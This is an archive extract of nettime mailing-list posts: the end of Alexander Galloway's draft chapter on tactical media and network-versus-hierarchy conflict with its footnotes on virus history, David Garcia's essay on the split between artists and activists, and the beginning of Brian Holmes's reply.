\n\u0093Achilles Heel\u0094[66] and what he longed to purge from the \ntelecommunications network.\n\t\u0093City by city, country by country, the bomb helped drive \ndispersion,\u0094[67] Galison continues, highlighting the power of the \nA-bomb to drive the push towards distribution in urban planning. \nWhereas the destruction of a fleet of Abrams tanks would certainly \nimpinge upon Army battlefield maneuvers, the destruction of a rack of \nCisco routers would do little to slow down broader network \ncommunications. Internet traffic would simply find a new route, thus \ncircumventing the downed machines.[68]\n\t(In this way, destruction must be performed absolutely, or not at all. \n\u0093The only way to stop Gnutella,\u0094 comments WiredPlanet CEO Thomas Hale \non the popular file sharing protocol, \u0093is to turn off the \nInternet.\u0094[69] And this is shown above in our examination of protocol\u0092s \nhigh penalties levied against deviation. One is completely compatible \nwith a protocol, or not at all.)\n\tThus the Internet can survive attacks not because it is stronger than \nthe opposition, but precisely because it is weaker. The Internet has a \ndifferent diagram than nuclear attack; it is in a different shape. And \nthat new shape happens to be immune to the older.\n\tAll the words used to describe the World Trade Center after the \nattacks of September 11, 2001 revealed its design vulnerabilities \nvis-\u0155-vis terrorists: it was a tower, a center, an icon, a pillar, a \nhub. Conversely, terrorists are always described with a different \nvocabulary: they are cellular, networked, modular, and nimble. Groups \nlike Al-Qaeda specifically promote a modular, distributed structure \nbased on small autonomous groups. They write that new recruits \u0093should \nnot know one another,\u0094 and that training sessions should be limited to \n\u00937 - 10 individuals.\u0094 They describe their security strategies as \n\u0093creative\u0094 and \u0093flexible.\u0094[70]\n\tThis is indicative of two conflicting diagrams.\n\tThe first diagram is based on the strategic massing of power and \ncontrol, while the second diagram is based on the distribution of power \ninto small, autonomous enclaves. \"The architecture of the World Trade \nCenter owed more to the centralized layout of Versailles than the \ndispersed architecture of the Internet,\" wrote Jon Ippolito after the \nattacks. \"New York's resilience derives from the interconnections it \nfosters among its vibrant and heterogeneous inhabitants. It is in \ndecentralized structures that promote such communal networks, rather \nthan in reinforced steel, that we will find the architecture of \nsurvival.\"[71] In the past the war against terrorism resembled the war \nin Viet Nam, or the war against drugs\u0097conflicts between a central power \nand an elusive network. It did not resemble the Gulf War, or World War \nII, or other conflicts between states.\n\t\"As an environment for military conflict,\" the New York Times \nreported, \"Afghanistan is virtually impervious[72] to American power.\" \n(In addition to the stymied US attempt to route Al-Qaeda post-September \n11th is the failed Soviet occupation in the years following the 1978 \ncoup, a perfect example of grossly mismatched organizational designs.) \nToday being \u0093impervious\u0094 to American power is no small feat.\n\tThe category shift that defines the difference between state power and \nguerilla force shows that through a new diagram,guerillas, terrorists \nand the like can gain a foothold against their opposition.\n\tBut as Ippolito points out this should be our category shift too, for \nanti-terror survival strategies will arise not from a renewed massing \nof power on the American side, but precisely from a distributed (or to \nuse his less precise term, decentralized) diagram. Heterogeneity, \ndistribution, communalism are all features of this new diagramatic \nsolution.\n\tIn short, the current global crisis is one between centralized, \nhierarchical powers and distributed, horizontal networks. John Arquilla \nand David Ronfeldt, two researchers at the RAND Corporation who have \nwritten extensively on the hierarchy-network conflict, offer a few \npropositions for thinking about future policy:\n\n\n\n\u02c7\n\n\n\n\n\n\n\n\n\n Hierarchies have a difficult time fighting networks. [...]\n\u02c7\n\n\n\n\n\n\n\n\n\n It takes networks to fight networks. [...]\n\u02c7\n\n\n\n\n\n\n\n\n\n Whoever masters the network form first and best will gain major \nadvantages.[73]\n\n\n\nThese comments are incredibly helpful for thinking about tactical media \nand the roll of today\u0092s political actor. It gives subcultures reason to \nrethink their strategies vis-\u0155-vis the mainstream. It forces us to \nrethink the techniques of the terrorist. It also raises many questions, \nincluding what happens when \u0093the powers that be\u0094 actually evolve into \nnetworked power (which is already the case in many sectors).\n\tIn recent decades the primary conflict between organizational designs \nhas been between hierarchies and networks, an asymmetrical war. \nHowever, in the future we are likely to experience a general shift \ndownward into a new bilateral organizational conflict\u0097networks fighting \nnetworks.\n\t\u0093Bureaucracy lies at the root of our military weakness,\u0094 wrote \nadvocates of military reform in the mid eighties. \u0093The bureaucratic \nmodel is inherently contradictory to the nature of war, and no military \nthat is a bureaucracy can produce military excellence.\u0094[74]\n\tWhile the change to a new unbureaucratic military is on the drawing \nboard, the future network-centric military\u0097an unsettling notion to say \nthe least\u0097is still a ways away. Nevertheless networks of control have \ninvaded our life in other ways though, in the form of the ubiquitous \nsurveillance, biological informatization and other techniques discussed \nin the earlier chapter on power.\n\tThe dilemma, then, is that while hierarchy and centralization are \nalmost certainly politically tainted due to their historical \nassociation with fascism and other abuses, networks are both bad and \ngood. Drug cartels, terror groups, black hat hacker crews and other \ndenizens of the underworld all take advantage of networked \norganizational designs because they offer effective mobility and \ndisguise. But more and more we witness the advent of networked \norganizational design in corporate management techniques, manufacturing \nsupply chains, advertisement campaigns and other novelties of the \nruling class, as well as all the familiar grass-roots activist groups \nwho have long used network structures to their advantage.\n\tIn a sense, networks have been vilified simply because the terrorists, \npirates and anarchists made them notorious, not because of any negative \nquality of the organizational diagram itself. In fact, positive \nlibratory movements have been capitalizing on network design protocols \nfor decades if not centuries. The section on the rhizome in A Thousand \nPlateaus is one of literature\u0092s most poignant adorations of the network \ndiagram.\n\n\n\nIt was the goal of this chapter to illuminate a few of these networked \ndesigns and how they manifest themselves as tactical effects within the \nmedia\u0092s various network-based struggles. As the section on viruses (or \nthe previous chapter on hackers) showed, these struggles can be lost. \nOr as in the case of the end-to-end design strategy of the Internet\u0092s \ncore protocols, or cyberfeminism, or the free software movement, they \ncan be won (won in specific places at specific times).\n\tThese tactical effects are allegorical indices that point out the \nflaws in protocological and proprietary command and control.\n\tThe goal is not to destroy technology in some neo-Luddite delusion, \nbut to push it into a state of hypertrophy, further than it is meant to \ngo. Then, in its injured, sore and unguarded condition, technology may \nbe sculpted anew into something better, something in closer agreement \nwith the real wants and desires of its users. This is the goal of \ntactical media.\n\n------------------------------------------------------------------------\n[1] Paul Virilio, \"Infowar,\" in Druckrey (ed.), Ars Electronica, p. \n334. One assumes that the italicized \"Titanic\" may refer to James \nCameron\u0092s 1997 film as well as the fated passenger ship, thereby \noffering an interesting double meaning that suggests, as others have \naptly argued, that films, understood as texts like any other, contain \ntheir own undoing.\n\n[2] David Garcia and Geert Lovink, \u0093The ABC of Tactical Media,\u0094 \nNettime, May 16, 1997.\n\n[3] Hardt & Negri, Empire, p. 25.\n\n[4] Ralf Burger cites two articles, \u0093ACM Use of Virus Functions to \nProvide a Virtual APL Interpreter Under User Control\u0094 (1974), and John \nShoch and Jon Huppas\u0092s \u0093The Worm Programs\u0097Early Experience\n\n with a \nDistributed Computation\u0094 (1982) which was first circulated in 1980 in \nabstract form as \u0093Notes on the \u0091Worm\u0092 programs\u0094 (IEN 159, May 1980). \nSee Ralf Burger, Computer Viruses (Grand Rapids: Abacus, 1988), p. 19.\n\n[5] Frederick Cohen, A Short Course on Computer Viruses (New York: John \nWiley & Sons, 1994), p. 38.\n\n[6] Ibid., p. 2.\n\n[7] W. Timothy Polk, et al., Anti-Virus Tools and Techniques for \nComputer Systems (Park Ridge, NJ: Noyes Data Corporation, 1995), p, 4.\n\n[8] Indeed pioneering viral scientist Fred Cohen is the most notable \nexception to this rule. He recognized the existence of \u0093benevolent \nviruses\u0094 that perform maintenance, facilitate networked applications, \nor simply live in \u0093peaceful coexistence\u0094 with us: \u0093I personally believe \nthat reproducing programs are living beings in the information \nenvironment.\u0094 See Frederick Cohen, A Short Course on Computer Viruses \n(New York: John Wiley & Sons, 1994), pp. 159-160, 15-21, and Frederick \nCohen, It\u0092s Alive! (New York: John Wiley & Sons, 1994). The author Ralf \nBurger is also not completely pessimistic, instructing us that when \n\u0093used properly, [viruses] may bring about a new generation of \nself-modifying computer operating systems. ... Those who wish to \nexamine and experiment with computer viruses on an experimental level \nwill quickly discover what fantastic programming possibilities they \noffer.\u0094 See Ralf Burger, Computer Viruses (Grand Rapids: Abacus, 1988), \np. 2.\n\n[9] Fred Cohen, \u0093Implications of Computer Viruses and Current Methods \nof Defense,\u0094 in Peter Denning, Ed., Computers Under Attack: Intruders, \nWorms, and Viruses (New York: ACM, 1990), p. 383.\n\n[10] See Philip Fites, et al., The Computer Virus Crisis (New York: Van \nNostrand Reinhold, 1992), pp. 28, 54, 105-117, 161-2; Ralf Burger, \nComputer Viruses (Grand Rapids: Abacus, 1988), p. 1; Charles Cresson \nWood, \u0093The Human Immune System as an Information Systems Security \nReference Model\u0094 in Lance Hoffman, ed., Rogue Programs (New York: Van \nNostrand Reinhold, 1990), pp. 56-57. In addition, the AIDS Info Disk, a \nTrojan Horse, is covered in almost every book on the history of \ncomputer viruses.\n\n[11] Burger, Computer Viruses, p. 1.\n\n[12] Also called the \u0093Israeli\u0094 or \u0093PLO\u0094 virus.\n\n[13] Yisrael Radai, \u0093The Israeli PC Virus,\u0094 Computers and Security 8:2, \n1989, p. 112.\n\n[14] Cohen, A Short Course on Computer Viruses, p. 45.\n\n[15] \u0093Computer Systems Under Seige, Here and Abroad,\u0094 The New York \nTimes, January 31, 1988, section 3, p. 8.\n\n[16] Cited in Radai, \u0093The Israeli PC Virus,\u0094 p. 113.\n\n[17] Frederick Cohen reports the total number between 20,000 and 30,000 \ndiskettes. See Cohen, A Short Course on Computer Viruses, p. 50. Jan \nHruska puts the number at 20,000. See Jan Hruska, Computer Viruses and \nAnti-Virus Warfare (New York: Ellis Horwood, 1992), p. 20.\n\n[18] Philip Fites, et al., The Computer Virus Crisis, p. 46.\n\n[19] Hruska, Computer Viruses and Anti-Virus Warfare, p. 22.\n\n[20] A. K. Dewdney identifies a game called Darwin invented by M. \nDouglas McIlroy, head of the Computing Techniques Research Department \nat Bell Labs, and a program called Worm created by John Shoch (and Jon \nHupp) of Xerox Palo Alto Research Center. See A. K. Dewdney, \u0093Computer \nRecreations,\u0094 Scientific American, March, 1984, p. 22. For more on \nShoch and Hupp see \u0093The Worm Programs,\u0094 Communications of the ACM, \nMarch 1982. Many attribute the worm concept to the science fiction \nnovel Shockwave Rider by John Brunner.\n\n[21] Ken Thompson, \u0093Reflections on Trusting Trust,\u0094 in Denning, Ed., \nComputers Under Attack, p. 98.\n\n[22] Dewdney, \u0093Computer Recreations,\u0094 p. 14.\n\n[23] Jon A. Rochlis and Mark W. Eichin, \u0093With Microscope and Tweezers: \nThe Worm from MIT\u0092s Perspective,\u0094 in Peter Denning, Ed., Computers \nUnder Attack, p. 202. The precise time comes from analyzing the \ncomputer logs at Cornell University. Others suspect that the attack \noriginated from a remote login at a MIT computer.\n\n[24] Frederick Cohen, A Short Course on Computer Viruses (New York: \nJohn Wiley & Sons, 1994), p. 49. The figure of 60,000 is also used by \nEugene Spafford who attributes it to the October 1988 IETF estimate for \nthe total number of computers online at that time. See Eugene Spafford, \n\u0093The Internet Worm Incident,\u0094 in Hoffman, ed., Rogue Programs, p. 203. \nPeter Denning\u0092s numbers are different. He writes that \u0093[o]ver an \neight-hour period it invaded between 2,500 and 3,000 VAX and Sun \ncomputers.\u0094 See Peter Denning, ed., Computers Under Attack: Intruders, \nWorms, and Viruses (New York: ACM, 1990), p. 191. This worm is \ngenerally called the RTM Worm after the initials of its author, or \nsimply the Internet Worm.\n\n[25] From a Cornell University report cited in Ted Eisenberg, et al., \n\u0093The Cornell Commission: On Morris and the Worm,\u0094 in Peter Denning, \ned., Computers Under Attack, p. 253.\n\n[26] Cited in The New York Times, November 5, 1988, p. A1.\n\n[27] The New York Times, November 4, 1988, p. A1.\n\n[28] Bruce Sterling, The Hacker Crackdown (New York: Bantam, 1992), pp. \n88-9.\n\n[29] Cited in The New York Times, January 19, 1990, p. A19.\n\n[30] \u0093Morris\u0092s Peers Return Verdicts: A Sampling of Opinion Concerning \nThe Fate of the Internet Worm,\u0094 in Hoffman, ed., Rogue Programs, p. 104.\n\n[...]\n\n[61] John Arquilla & David Ronfeldt, Networks and Netwars: The Future \nof Terror, Crime, and Militancy (Santa Monica: RAND, 2001), p. 6. A \nsimilar litany from 1996 reads: \u0093netwar is about Hamas more than the \nPLO, Mexico\u0092s Zapatistas more than Cuba\u0092s Fidelistas, the Christian \nIdentity Movement more than the Ku Klux Klan, the Asian Triads more \nthan the Sicilian Mafia, and Chicago\u0092s Gangsta Disciples more than the \nAl Capone Gang\u0094 (see John Arquilla & David Ronfeldt, The Advent of \nNetwar [Santa Monica: RAND, 1996], p. 5). Arquilla & Ronfeldt coined \nthe term netwar which they define as \u0093an emerging mode of conflict (and \ncrime) at societal levels, short of traditional military warfare, in \nwhich the protagonists use network forms of organization and related \ndoctrines, strategies, and technologies attuned to the information age\u0094 \n(see Arquilla & Ronfeldt, Networks and Netwars, p. 6).\n\n[62] This is not a monolithic control mechanism, of course. \u0093The \nInternet is a large machine,\u0094 writes Andreas Broeckmann. \u0093This machine \nhas its own, heterogeneous topology, it is fractured and repetitive, \nincomplete, expanding and contracting\u0094 (\u0093Networked Agencies,\u0094 \nhttp://www.v2.nl/~andreas/texts/1998/networkedagency-en.html).\n\n[63] This is Deleuze & Guatari\u0092s realization in A Thousand Plateaus.\n\n[64] For an interesting description of Toyotism, see Manuel Castells, \nThe Rise of the Network Society (Oxford: Blackwell, 1996), pp. 157-160.\n\n[65] Peter Galison, \u0093War against the Center,\u0094 Grey Room 4, Summer 2001, \np. 20.\n\n[66] Baran writes: \u0093The weakest spot in assuring a second strike \ncapability was in the lack of reliable communications. At the time we \ndidn\u0092t know how to build a communication system that could survive even \ncollateral damage by enemy weapons. RAND determined through computer \nsimulations that the AT&T Long Lines telephone system, that carried \nessentially all the Nation\u0092s military communications, would be cut \napart by relatively minor physical damage. While essentially all of the \nlinks and the nodes of the telephone system would survive, a few \ncritical points of this very highly centralized analog telephone system \nwould be destroyed by collateral damage alone by missiles directed at \nair bases and collapse like a house of card.\u0094 See Paul Baran, \nElectrical Engineer, an oral history conducted in 1999 by David \nHochfelder, IEEE History Center, Rutgers University, New Brunswick, NJ, \nUSA.\n\n[67] Galison, \u0093War against the Center,\u0094 p. 25.\n\n[68] New Yorker writer Peter Boyer reports that DARPA is in fact \nrethinking this opposition by designing a distributed tank, \u0093a tank \nwhose principle components, such as guns and sensors, are mounted on \nseparate vehicles that would be controlled remotely by a soldier in yet \nanother command vehicle,\u0094 (see \u0093A Different War,\u0094 The New Yorker, July \n1, 2002, p. 61). This is what the military calls Future Combat Systems \n(FCS), an initiative developed by DARPA for the US Army. It is \ndescribed as \u0093flexible\u0094 and \u0093network-centric.\u0094 I am grateful to Jason \nSpingarn-Koff for bring FCS to my attention.\n\n[69] Cited in Gene Kan \u0093Gnutella\u0094 in Andy Oram, Ed. Peer-to-Peer: \nHarnessing the Power of Disruptive Technologies (Sebastopol: O\u0092Reilly, \n2001), p. 99.\n\n[70] See The al-Qaeda Documents: Vol. 1 (Alexandria, VA: Tempest, \n2002), pp. 50, 62.\n\n[71] Jon Ippolito, \"Don't Blame the Internet,\" Washington Post, \nSeptember 29, 2001, p. A27.\n\n[72] Wanting instead American invulnerability to Soviet nuclear power, \nin 1964 Paul Baran writes that \u0093we can still design systems in which \nsystem destruction requires the enemy to pay the price of destroying n \nof n [communication] stations. If n is made sufficiently large, it can \nbe shown that highly survivable system structures can be built\u0097even in \nthe thermonuclear era.\u0094 See Paul Baran, On Distributed Communications: \n1. Introduction to Distributed Communications Networks (Santa Monica, \nCA: RAND, 1964), p. 16. Baran\u0092s point here is that destruction of a \nnetwork is an all or nothing game. One must destroy all nodes, not \nsimply take out a few key hubs. But the opposite is not true. A network \nneeds only to destroy a single hub within a hierarchical power to score \na dramatic triumph. Thus, Baran\u0092s advice to the American military was \nto become network-like. And once it did the nuclear threat was no \nlonger a catastrophic threat to communications and mobility (but \nremains, of course, a catastrophic threat to human life, material \nresources, and so on).\n\n[73] Arquilla & Ronfeldt, Networks and Netwars, p. 15, emphasis removed \nfrom original. Contrast this line of thinking with that of Secretary of \nDefense Robert McNamara in the nineteen sixties, whom Senator Gary Hart \ndescribed as advocating \u0093more centralized management in the Pentagon.\u0094 \nSee Gary Hart & William Lind, America Can Win (Bethesda, MD: Adler & \nAdler, 1986), p. 14. Or contrast it in the current milieu with the \nPowell Doctrine, named after four-star general and Secretary of State \nColin Powell, which states that any American military action should \nhave the following: clearly stated objectives; an exit strategy; the \nability to use overwhelming force; and that vital strategic interests \nmust be at stake. This type of thinking is more in line with a \nmodernist, Clausewitzian theory of military strategy, that force will \nbe overcome by greater force, that conflict should be a goal-oriented \nact rather than one of continuance, that conflict is waged by state \nactors, and so on.\n\n[74] Gary Hart & William Lind, America Can Win (Bethesda, MD: Adler & \nAdler, 1986), pp. 240, 249.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 12 Jan 2003 11:54:40 -0500",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200301122213.h0CMDRo05270 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00047.html",
                "list": "nettime_l",
                "author_name": "Alexander Galloway",
                "subject": "<nettime> Tactical Media & Conflicting Diagrams (draft chapter)"
            },
            {
                "id": "00044",
                "content": "Diminishing Freedoms\n\nOn a visit to Brazil in 2004 I stayed with Grazilia Kunsch an  \nimportant artist who is also a committed political activist. Part of  \nher work is ?hosting? foreign visitors at her house ?Casa Grazie?. To  \nbe hosted by Grazie is a delight, not least for her wonderful  \nbreakfasts and the long discussions that are given the time to unfold  \nthroughout the morning.\n\nLike many artists who are politically active she keeps the boundaries  \nbetween the two spheres deliberately blurry. But she told me how  \nalthough this was once acceptable, she was finding it progressively  \nharder to declare openly that she is an artist in activist circles.\n\nFreedom, the expressive freedom of art seems to becoming the  \nimpossible word. Why? What is at stake? Why are so many political  \nactivists moving to repudiate cultural politics and the expressive  \nfreedoms that continue to inspire and draw so many to call themselves  \nartists?\n\nThere seems to be an oppressive philistinism emerging on the radical  \nleft, raising the worrying prospect that it is not only neo- \nliberalism that is instrumentalising all of life.\n\nI have been troubled by these developments for some time, but I have  \nonly recently found a framework to address discuss the problem with  \nmyself in more detail and with a little more rigor. It was in the  \ncontext of a review for a book on DIY Media by the London based  \nartist activist group C6. As always Mute editors are (at least in my  \ncase) rarely passive recipients of the articles they solicit, and I  \nwas gently prodded into much more than a simple review. I don?t  \npretend that the resulting ruminations are in any way definitive but  \nI hope that it triggers some discussion.\n\nBelow is an extract, the full text can be found at http:// \nwww.metamute.org/\n\nThe Split\n\nWe have seen the emergence of three interconnected tendencies, since  \nthe tactical media of the 90?s. Firstly there is a widespread  \nrejection of the homeopathic and the micro-political in favour of  \nambitions scaled up to global proportions coupled with a willingness  \nto move beyond electronic and semiotic civil disobedience and to  \nengage in direct action, to literally ?re-claim the streets?. This is  \nalmost entirely as a result of the emergence of the powerful global  \nanti-capitalist movement which (from their perspective) have  \ntransformed tactical media into the ?Indy-media? project. But there  \nis also a third less visible and more troubling tendency, a tendency  \ntowards internal polarisation.\nThis polarisation is based on a deep split which has opened up  \nbetween many of the activists at the core of the new political  \nmovements and the artists or theorists who, whilst continuing to see  \nthemselves as radicals, retain a belief in the importance of cultural  \n(and information) politics? in any movement for social transformation.\nAlthough I have little more than personal experience and anecdotal  \nevidence to go on, it seems to me, that there is a significant growth  \nin suspicion and frequently outright hostility among activists to the  \npresence of art and artists in ?the movement?, particularly those  \nwhose work cannot be immediately instrumentalised by the new  \n?soldiers of the left?.\n\nSo what is it that has changed since the 90s to give rise to these  \ntendencies? To understand we must cast our minds back to the peculiar  \nhistorical conditions of that time. The early phase of tactical media  \nre-injected a new energy into the flagging project of ?cultural  \npolitics?. It fused the radical and pragmatic info politics of the  \nhackers with well-established critical practices based critiques of  \nrepresentation. The resulting tactical media were also part of (and  \narguably compromised by) the wider internet and communications  \nrevolution of the 90?s which, like the music of the 1960s, acted as a  \nuniversal solvent not only dissolving disciplinary boundaries but  \nalso the boundaries separating long established political formations.\nThe power some of us attributed to this new ?media politics? appeared  \nto be born out by the role that all forms of media seemed to have  \nplayed in the collapse of the Soviet Empire. It seemed as though old  \nstyle armed insurrection had been superseded by digital dissent and  \nmedia revolutions. It was as if the Samizdat spirit, extended and  \nintensified by the proliferation of Do-it-yourself media had rendered  \nthe centralized statist tyrannies of the soviet empire untenable.  \nSome of us allowed ourselves to believe that it would only be a  \nmatter of time before the same forces would challenge our own tired  \nand tarnished oligarchies. Furthermore the speed and comparative  \nbloodlessness of the Soviet collapse suggested that the  \ntransformations that were coming would not have to be achieved  \nthrough violence or personal sacrifice. This would be the era of the  \npainless (?win  win?) revolution, in which change would occur simply  \nthrough the hacker ethos of challenging the domains of forbidden  \nknowledge. It came to be believed that power that comes only from the  \ntop down had lost its edge. As late as 1999 in his Reith lecture,  \nAnthony Giddens could still confidently assert that ?The information  \nmonopoly upon which the Soviet system was based, had no future in an  \nintrinsically open framework of global communications?.\nGiddens and other third way social theorists were part of a wider  \nmovement, which acted out the dream that the profound political  \ndifferences, which had divided previous generations, had been put on  \nhold. This was made credible through the ubiquity of one of the  \ndominant myths of the information age, a myth shared by activists and  \nnew media entrepreneurs alike. The myth that knowledge will set you  \nfree. This founding narrative of techno-culture, visible from Ted  \nNelson ?Computer Lib? onwards, recycles (in intensified form), the  \nage old proposition that knowledge and freedom are not only connected  \nbut may actually entail one another.\n\nThe fact that a belief in the necessary relationship between  \nknowledge and freedom has gone largely unquestioned is based in part  \non the depth of its lineage, ?ancient stoics and most modern  \nrationalists are at one with Christian teaching on this issue. ?And  \nye shall know the truth and the truth shall make you free?. As Isaiah  \nBerlin pointed out in 1968 not only is ?. This proposition is not  \nself evidently true, if only on empirical grounds.? It is ?one of the  \nleast plausible beliefs ever entertained by profound and influential  \nthinkers.?1\n\nIn addition to being fallacious the accompanying rhetoric of  \ntransparency, freedom, access, participation, and even creativity,  \nhas come to constitute the ideological foundation of  ?communicative  \ncapitalism?, transforming tactical media?s homeopathic micro-politics  \ninto the experimental wing of the ?creative industries? and  \ncorroborating the temporal mode of post-Fordist capital: short- \ntermism.? 2\n\nNeo-liberalism?s effective capture of the rhetoric of ?freedom? and  \n?creativity?, has re-opened an old fault-line which the first wave of  \ntactical media did so much to bridge, the fault-line dividing artists  \nfrom the political activists.\n\nThe theorist and activist Brian Holmes described the origins of this  \ndichotomy succinctly as going (at least) as far back as the cultural  \npolitics of the 1960s. He describes a split ?between the traditional  \nworking-class concern for social justice and the New Left concern for  \nindividual emancipation and full recognition and expression of  \nparticular identities\" According to this account corporate  \nfoundations and think tanks of the 80s and 90?s have succeeded in  \ninculcating market-oriented variations on earlier counter-cultural  \nvalues rendering the interventions of artists (including tactical  \nmedia makers) profoundly if unwittingly, de-politicising. Holmes goes  \non to describe (or assert, I am not quite sure which) a critique in  \nwhich ?the narcisstic exploration of self, sexuality and identity  \nbecome the leitmotif of bourgeois urban culture. Artistic freedom and  \nartistic license have led, in effect, to the neo-liberalization of  \nculture.?3 The puritanical and authoritarian tone of this analysis is  \njust a little unnerving. At the very least this tendency could lead  \nto a crass and oppressive philistinism and might signal far worse to  \ncome.\n\nAt the Senegallia meeting in 2004 for Telestreets, Franco Berardi  \n(Bifo) made a plea to Telestreet activists (and by extension all  \nartist/activists) not to ?embrace our miserable marginality\".  \nIncreasingly this call is being answered. There are a growing number  \nof inspiring cases which we can point to, the Yes Men?s achievement  \nin securing global distribution in mainstream cinemas, Yomango?s high  \nvoltage contributions to the global, protest movement and  \nWitness.org?s extensive inititiatives in which the provision of  \nindigenous activists with DIY media with their campaigns is connected  \nto human rights legal processes. These and many other projects are  \npointing to the growing willingness to strategically globalise  \ndissent. This process in not unconnected to a growing willingness to  \nrelinquish one of the shibboleths of tactical media, the cult of  \n?ephemerality?. In place of the hit and run guerrilla activism the  \ndirect opposite is now required, ?duration?. It?s a time for longer- \nterm commitments and deeper engagements with the people and  \norganisations networked around contested issues.\n\nOne of the most extraordinary examples of this kind of development is  \n?Women on Waves? a Dutch Foundation initiated by the Rebecca Gomperts  \nwho studied medicine at the University of Amsterdam and specialised  \nas an abortion doctor and then went on to study visual arts at the  \nRietveld Academy and Sailing at the Enkhuizen Zeevaartschool  \n(Nautical College).\nThe most celebrated achievement of Women on Waves is the Abortion  \nBoat, a large floating clinic that tactically exploits maritime law,  \nanchoring the boat just outside the 12-mile zones of countries where  \nabortion is forbidden. On the Abortion Boat women can be helped with  \ninformation and with actual abortions are performed by a team of  \nDutch medical practitioners (including Dr Gomperts) on Dutch  \n\"territory\". Thus, women are actively assisted and local  \norganisations are supported and inspired in their struggle for the  \nlegalisation of abortion.\nAlong with the practical intervention of the Abortion Boat, Women on  \nWaves also uses art and design as part of their global campaign for  \nabortion rights. For instance the \"I had an Abortion\" installation  \nconsisting of vests on wire coat hangers, which bear the text  \"I had  \nan abortion\" in all European languages. On their website  \n<womenonwaves.org> a diary can be found of a Brazilian woman relating  \nher experiences of wearing one of these t-shirts. The continued  \nvalidity of the modes of political address pioneered by tactical  \nmedia are apparent in her descriptions of how the message on these t- \nshirts was preferable to something that might have read like earlier  \nforms of agit prop say ?Legalize abortion?. These t-shirts function  \n?not? she declares to ?make myself a target.  that was not the point;  \nit was to give all those women without a face a support. As to say,  \ndon't worry, it's all right, you?re all right. This fulfils one of  \nthe prime directives of classical tactical media, unlike traditional  \nagit prop?it is designed to invite discourse.\n\nWomen on Waves is a reminder that cultural politics in its modern  \nsense was in large part a creation of the women?s movement. Those who  \nquestion the value of a cultural politics would do well to remember  \nthat feminism also served to transform the lives and politics of many  \nmen who were taught (sometimes painfully) that they were failing to  \nlive out in their ordinary lives, the democracy they were advocating  \nin theory.\nThe way in which ?culture? is central to feminism?s demands and not  \nperipheral is powerfully explored by Terry Eagleton in his valuable  \nbook After Theory which describes the centrality of ?the grammar? in  \nwhich the demands are of feminism were framed. ?Value speech, image,  \nexperience and identity are here the very language of political  \nstruggle, as they are in all ethnic or sexual politics. Ways of  \nfeeling and forms of political representation are in the long run  \nquite as crucial as child care provision or equal pay.? 3\n\nThis expanded political language was articulated not by activists and  \nwriters alone but also by many important women artists. Women artists  \nwho were critical in shifting the centre of gravity of the art world  \nof the 60?s and 70?s from Greenburg's formalism and Rosenburg's  \nmysticism to a new expressive and subject centred naturalism, which  \nremains influential and important to this day.\nIn our efforts to understand our new conditions and to change we must  \nbeware of trying to eliminate all ambiguities and impurities, above  \nall we should not be tempted to relinquish the essential legacy of  \ncultural politics.\n\n1. Isaiah Berlin From Hope and fear Set Free 1968\n2.Rossiter & Lovink. Dawn of the Organised Networks (2005)\n2. Brian Holmes?s review THE SCANDAL OF THE WORD \"CLASS\"\nPosted on nettime\nA review of David Harvey, A Brief History of Neoliberalism\n(Oxford UP, 2005)\n3. Terry Eagleton. After Theory. (Penguin 2003)\n4. womenonwaves.org\n \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0601/msg00044.html",
                "list": "nettime_l",
                "author_name": "david garcia",
                "subject": "<nettime> Diminishing Freedoms",
                "from": "david garcia <davidg {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "\"brian.holmes {AT} wanadoo.fr\" <brian.holmes {AT} wanadoo.fr>",
                        "content": "David Garcia refers directly to me, in his text about an emerging dispute\nbetween activist and artistic practices:\n\n> The theorist and activist Brian Holmes described the origins of this\n> dichotomy succinctly as going (at least) as far back as the cultural\n> politics of the 1960s. He describes a split \"between the traditional\n> working-class concern for social justice and the New Left concern for\n> individual emancipation and full recognition and expression of\n> particular identities\" According to this account corporate\n> foundations and think tanks of the 80s and 90s have succeeded in\n> inculcating market-oriented variations on earlier counter-cultural\n> values rendering the interventions of artists (including tactical\n> media makers) profoundly if unwittingly, de-politicising. Holmes goes\n> on to describe (or assert, I am not quite sure which) a critique in\n> which \"the narcisstic exploration of self, sexuality and identity\n> become the leitmotif of bourgeois urban culture. Artistic freedom and\n> artistic license have led, in effect, to the neo-liberalization of\n> culture. The puritanical and authoritarian tone of this analysis is\n> just a little unnerving. At the very least this tendency could lead\n> to a crass and oppressive philistinism and might signal far worse to\n> come.\n\nGarcia misquotes and misinterprets me pretty deeply, in what's otherwise a good\narticle. See my original text, and particularly the questions I ask about culture\nand politics, at\nhttp://www.nettime.org/Lists-Archives/nettime-l-0510/msg00005.html. But it doesn't\nmatter, it's just a mistake and the whole subject is worth going back to anyway.\n\nThe sentence that Garcia can't swallow (the one about the narcissistic exploration\nof self, identity and sexuality) was written in fact by another David: David\nHarvey, in his book, A Brief History of Neoliberalism. In my review of that book,\nI quoted a long passage where Harvey recounts the bankruptcy of New York in 1975\nand how the city and its culture were subsequently reshaped in the context of\nfinancially driven globalization. I was interested in two things. First, a fresh\nanalysis, within a specific urban framework, of the way that cultural and\nintellectual practices were broadly neutralized by turning them into commodities\nin an economy of images and signs (a process which at the same time transforms a\ngrowing mass of artists and intellectuals into the economically interested\nproducers of those same commodities). And second, I was interested in the limits\nof exactly that same analysis.\n\nThings have only gotten worse since 1975, and new problems have arisen. While\nreading Irving Kristol's book, Neoconservatism, The Autobiography of an Idea, I\nwas struck by the Kristol's fierce rejection of a 60s counterculture that he\nequated with a Nietzschean transvaluation of all values. I thought: Can I do\nwithout that counterculture, without that Nietzschean aspiration to destroy old\nvalues and recreate new ones? The answer was, I couldn't. For someone like myself,\nthe only viable option is to pursue a radically experimental work on the self and\nsociety, expressed by signs and materials in their rupture with history. In other\nwords, I 